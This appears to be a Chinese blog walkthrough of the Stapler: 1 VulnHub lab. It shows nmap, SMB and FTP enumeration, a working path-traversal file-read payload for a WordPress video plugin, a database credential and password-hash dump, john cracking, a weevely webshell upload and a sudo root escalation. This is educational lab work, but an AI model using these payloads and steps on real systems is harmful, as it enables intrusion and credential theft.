当前位置: 首页 > article >正文

Stapler: 1靶场渗透测试

Stapler: 1来自 <Stapler: 1 ~ VulnHub>

1,发现靶场不能够所以VMware打开,所以就所以VirtualBox打开,然后两个虚拟机都所以桥接模式使得能够互相通信

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.1.0/24

那么攻击机IP为192.168.1.102,靶场IP192.168.1.104

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.1.104

扫出来一堆奇奇怪怪的东西

开放端口与服务详情

端口

协议

状态

服务名称

版本/详细信息

关键信息

21

TCP

开放

FTP

vsftpd 3.0.3

允许匿名登录(FTP code 230),但目录列表失败(PASV错误:550权限拒绝)

22

TCP

开放

SSH

OpenSSH 7.2p2 Ubuntu 4

RSA/ECDSA/ED25519密钥指纹已列出

53

TCP

开放

DNS

dnsmasq 2.75

提供DNS服务

80

TCP

开放

HTTP

PHP cli server 5.5+

返回404 Not Found,需进一步目录枚举

139

TCP

开放

SMB

Samba smbd 4.3.9-Ubuntu (工作组:WORKGROUP)

Samba版本可能存在漏洞(需进一步验证)

666

TCP

开放

未知服务

数据指纹未识别

返回二进制数据(疑似文件传输或自定义协议),建议提交指纹至Nmap数据库

3306

TCP

开放

MySQL

MySQL 5.7.12-0ubuntu1

认证插件为 mysql_native_password,Salt值已暴露

12380

TCP

开放

HTTP

Apache 2.4.18 (Ubuntu)

返回无标题页面(Content-Type: text/html),需进一步探测

关闭/过滤的端口

端口

协议

状态

服务名称

20/tcp

TCP

关闭

FTP-Data

123/tcp

TCP

关闭

NTP

137/tcp

TCP

关闭

NetBIOS-NS

138/tcp

TCP

关闭

NetBIOS-DGM

其他关键发现

  1. FTP匿名登录
    • 可尝试匿名访问(ftp 192.168.1.104,用户名为 anonymous,密码为空),但需绕过PASV限制。
    • 若成功访问,可检查是否有敏感文件(如配置文件、备份文件)。
  2. SMB服务
    • 使用 smbclient 或 enum4linux 枚举共享资源(例如:smbclient -L //192.168.1.104 -N)。
  3. MySQL服务
    • 可尝试弱密码或默认凭据(如 root:root、admin:admin)。
    • Salt值 d\x02 >Esp^\x1C\x0CH\x07,bR7G'o 可能用于哈希破解。
  4. HTTP服务(80和12380端口)
    • 使用 gobuster 或 dirbuster 扫描目录(例如:gobuster dir -u http://192.168.1.104 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt)。
    • 检查12380端口的隐藏页面或Web应用漏洞。
  5. 端口666的未知服务
    • 数据内容包含 message2.jpg 和二进制数据,可能为文件传输通道或后门服务。需进一步分析(例如使用 nc 或 wireshark 抓包)。

4,匿名用户登录ftp服务器,做信息收集

成功下载get到note文件,查看文件类型是文本。

Elly,确保你更新了有效载荷信息。完成后,把它留在你的FTP帐户中,约翰。

5,80端口暂时没发现什么有效信息,忽略之。再看看139端口的smtp服务,使用工具扫描

enum4linux -a 192.168.1.104

enum4linux 工具介绍

enum4linux 是一个 Windows SMB(Server Message Block)信息枚举工具,主要用于 渗透测试 信息收集,可以获取 Windows 服务器的用户、共享、组、密码策略等信息。

这个工具基于 rpcclient、smbclient 和 net 等 Samba 组件,适用于 Active Directory Windows 服务器 信息收集。

主要功能

enum4linux 可以执行多种信息枚举任务,包括:

  • 获取共享文件夹(类似 smbclient -L)
  • 列出用户列表(类似 rpcclient 查询)
  • 枚举组和成员(获取管理员等权限信息)
  • 获取 Windows 版本和域信息(NetBIOS/LDAP 查询)
  • 密码策略和安全策略(锁定策略、密码长度等)
  • 尝试空会话登录(匿名访问)

常见选项

选项

作用

-U

获取用户列表

-S

获取共享目录

-G

获取组信息

-P

获取密码策略

-o

获取 OS 版本

-a

执行所有信息枚举

-u USER -p PASSWORD

使用指定账户进行身份验证

6,根据扫描结果分析系统允许进行匿名访问kathy和tmp用户

smbclient //192.168.1.104/kathy

smbclient //192.168.1.104/tmp

kathy目录:todo-list.txt提示为Initech备份任何重要信息,恰好有个Backup目录,这里面应该是备份的信息,vsftpd.conf是ftp配置文件,wordpress-4.tar.gz是一个wordpress网站备份。

tmp目录:ls内容是详细一个目录下的ls -l的详细介绍,猜测是tmp目录下,这样tmp目录下原来有个systemd-private-df2bff9b90164a2eadc490c0b8f76087-systemd-timesyncd.service-vFKoxJ目录,可能后来删除了。

7,接下来访问12380端口,是还没有完工的http静态页面

进行目录枚举扫描

gobuster dir -u http://192.168.1.104:12380 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

dirsearch -u http://192.168.1.104:12380 -x 404,403

再用nikto扫描一下试试

 nikto -h 192.168.1.104 -p 12380

使用https://协议访问一下试试

https://192.168.1.104:12380

应该是这个网站了

8,依然枚举扫描其子目录,果然东西

dirsearch -u https://192.168.1.104:12380 -x 404,403

访问/robots.txt

https://192.168.1.104:12380/admin112233/ 弹出来一个东西

/phpmyadmin/目录

/blogblog目录

是一个wordpress的CMS

whatweb -v https://192.168.1.104:12380/blogblog/

9,接着扫描/blogblog下子目录

dirsearch -u https://192.168.1.104:12380/blogblog -x 404,403

访问一下/wp-content/

10,存在插件,检索一下漏洞利用exp

存在本地文件包含漏洞,将漏洞利用exp转储出来。查看exp

该漏洞利用脚本通过利用WordPress插件Advanced-Video-Embed中的未授权文件读取和文章创建漏洞,实现对服务器敏感文件的窃取。以下是攻击流程的详细分析:

漏洞原理

  1. 漏洞位置
    插件文件/inc/classes/class.avePost.php中的ave_publishPost函数未对用户输入的thumb参数进行过滤,直接通过file_get_contents($thumb)读取文件内容。
  2. 路径遍历
    攻击者可通过thumb参数注入相对路径(如../wp-config.php),绕过目录限制读取任意文件。
  3. 未授权访问
    admin-ajax.php未验证用户权限,允许未认证用户调用敏感操作(创建含恶意缩略图的文章)。

攻击流程详解

1. 触发文件读取并创建文章

  • 构造恶意请求
    向admin-ajax.php发送如下参数,触发插件读取wp-config.php:
    url = "http://target.com/wordpress"
    payload = f"{url}/wp-admin/admin-ajax.php?action=ave_publishPost&title=随机标题&short=1&term=1&thumb=../wp-config.php"
    • thumb=../wp-config.php:通过路径遍历读取WordPress配置文件。
  • 插件处理逻辑
    1. 创建新文章,将wp-config.php内容作为文章缩略图保存。
    2. 返回含新文章ID的响应(如Post published successfully. ID: 1234)。

2. 提取文章ID

  • 正则匹配ID
    脚本通过正则表达式从响应中提取文章ID:
    numbers = re.findall(r'\d+', line)  # 匹配所有数字
    id = numbers[-1]                    # 取最后一个数字(可能含校验值)
    id = int(id) // 10                  # 修正ID(假设原始ID被乘以10)
    • 假设:插件返回的ID被错误地附加了额外数字(如12345实际应为1234),需通过除以10修正。

3. 访问文章页面获取缩略图URL

  • 请求文章页面
    访问/?p=提取的ID获取文章HTML内容:
    objHtml = urllib2.urlopen(f"{url}/?p={id}")
  • 解析图片URL
    在HTML中搜索包含attachment-post-thumbnail的图片标签,提取其URL:
    if 'attachment-post-thumbnail' in line:
        urls = re.findall('"(https?://.*?)"', line)  # 提取图片URL

4. 下载并输出敏感文件

  • 下载缩略图
    通过图片URL下载文件(实际为wp-config.php内容):
    print urllib2.urlopen(urls[0]).read()  # 输出文件内容

关键攻击点

  1. 未过滤的用户输入
    thumb参数未限制文件路径,导致路径遍历攻击。
  2. 未授权操作
    admin-ajax.php未检查用户权限,允许任意用户创建文章。
  3. 数据泄露链
    文件内容通过文章缩略图暴露,攻击者可通过公开文章页面获取敏感数据。

防御建议

  1. 输入验证
    • 对thumb参数进行白名单过滤,仅允许合法URL或相对路径。
    • 使用realpath()解析绝对路径,禁止跳出Web根目录。
  2. 权限控制
    • 在ave_publishPost函数中添加权限校验(如current_user_can('publish_posts'))。
  3. 安全配置
    • 限制admin-ajax.php仅处理必要Action,禁用未使用的功能。
    • 定期更新插件,监控社区漏洞公告。

渗透测试启示

  • 关注WordPress插件漏洞
    第三方插件是常见攻击入口,需重点审查其安全实现。
  • 自动化漏洞利用
    结合Python脚本快速验证漏洞,提升测试效率。
  • 敏感文件保护
    确保wp-config.php权限为600,避免Web用户可读。

需要vim手动更改url:https://192.168.1.104:12380/blogblog/

给权限然后使用python解释器执行

11,发生报错,既然给出了POC还是自己手动进行攻击吧

https://192.168.1.104:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=/etc/passwd

然后我们可以在上传目录下发现一个新文件,无法正常打开

下载下来要忽略掉证书检查参数为:--no-check-certificate

wget https://192.168.1.104:12380/blogblog/wp-content/uploads/115050440.jpeg --no-check-certificate

利用cat进行阅读该文件,发现我们确实读取到了用户文件。说明存在文件包含漏洞,可以手动利用

12,分析py脚本,我们可以构造一个payload进行读取mysql账号密码(需要不断试探出配置文件位置)

https://192.168.1.104:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php

然后下载这个脚本

wget https://192.168.1.104:12380/blogblog/wp-content/uploads/1525778666.jpeg --no-check-certificate

然后cat文件查找数据库账户密码root/plbkasc

13,然后登录其数据库

mysql -h 192.168.1.104 -u root -p

(命令行登录失败,改为网页登录)

select concat(user_login,':',user_pass) from wp_users;
John:$P$B7889EMq/erHIuZapMB8GEizebcIy9.   
Elly:$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0   
Peter:$P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0  
barry:$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0  
heather:$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10
garry:$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1  
harry:$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0  
scott:$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1  
kathy:$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0  
tim:$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0    
ZOE:$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1    
Dave:$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.   
Simon:$P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0  
Abby:$P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs.   
Vicki:$P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131  
Pam:$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0

将这些账户密码写入txt,使用john工具进行彩虹表爆破

john pass.hash --wordlist=/usr/share/wordlists/rockyou.txt

然后视图将爆破结果一一对应

14,然后再使用John的账户登录wordpress

https://192.168.1.102:12380/blogblog/wp-login.php

然后在这个网页下找到上传文件的地方

https://192.168.1.102:12380/blogblog/wp-admin/plugin-install.php?tab=upload

通过weevely生成木马文件

将木马文件转储出来,然后在文件上传的接口上传文件,上传成功

然后再使用weevely去连接

 weevely https://192.168.1.102:12380/blogblog/wp-content/uploads/shell.php 123

15,查看当前用户执行过的历史命令

cat */.bash_history

我们看到用户peter密码JZQuyIN5,横向移动一下ssh登陆peter用户

这是针对新用户的 Z Shell 配置功能 - zsh-newuser-install。

您看到此信息是因为您没有 zsh 启动文件

(用户主目录 ~ 中的 .zshenv、.zprofile、.zshrc、.zlogin 等文件)。

该功能可以帮助您进行一些基本设置,使您更轻松地使用 shell。

您可以执行以下操作:

(q) 退出且不做任何操作。下次登录时此功能会再次运行。

(0) 退出并创建仅包含注释的 ~/.zshrc 文件。

这将阻止此功能再次运行。

(1) 进入主菜单继续配置。

(2) 使用系统管理员推荐的配置填充您的 ~/.zshrc 文件并退出

(如有需要,您可以随后手动编辑该文件)。

--- 键入括号内的一个键 ---

成功进入这个用户,做信息收集

sudo -l发现这个用户可以任意使用sudo命令

那么就直接sudo一下提权成为root用户


http://www.kler.cn/a/569520.html

相关文章:

  • 中间件专栏之Redis篇——Redis的三大持久化方式及其优劣势对比
  • LeetCode-81. 搜索旋转排序数组 II
  • Java 大视界 -- Java 大数据中的时间序列数据异常检测算法对比与实践(103)
  • server.servlet.session.timeout: 12h(HTTP 会话的超时时间为 12 小时)
  • k8s学习记录:环境搭建二(基于Kubeadmin)
  • 【线性代数】3向量
  • Mybatis是如何进行分页的?与Mybatis-plus的区别在哪里?
  • 【服务器】Nginx
  • 【AD】3-10 原理图PDF导出
  • 力扣hot 100之矩阵四题解法总结
  • 盛京开源社区加入 GitCode,书写东北开源生态新篇章
  • javascript实现雪花飘落效果
  • 基于SpringBoot的校园体育场馆(设施)使用管理网站设计与实现现(源码+SQL脚本+LW+部署讲解等)
  • driver中为什么要使用非阻塞赋值
  • 使用Vant-ui封装form移动端组件
  • 【北京迅为】itop-3568 开发板openharmony鸿蒙烧写及测试-第2章OpenHarmony v3.2-Beta4版本测试
  • DeepSeek实操教程(清华、北大)
  • 不同规模企业如何精准选择AI工具: DeepSeek、Grok 和 ChatGPT 三款主流 AI 工具深度剖析与对比
  • c# winform程序 vs2022 打包生成安装包
  • 【AGI】DeepSeek开源周:The whale is making waves!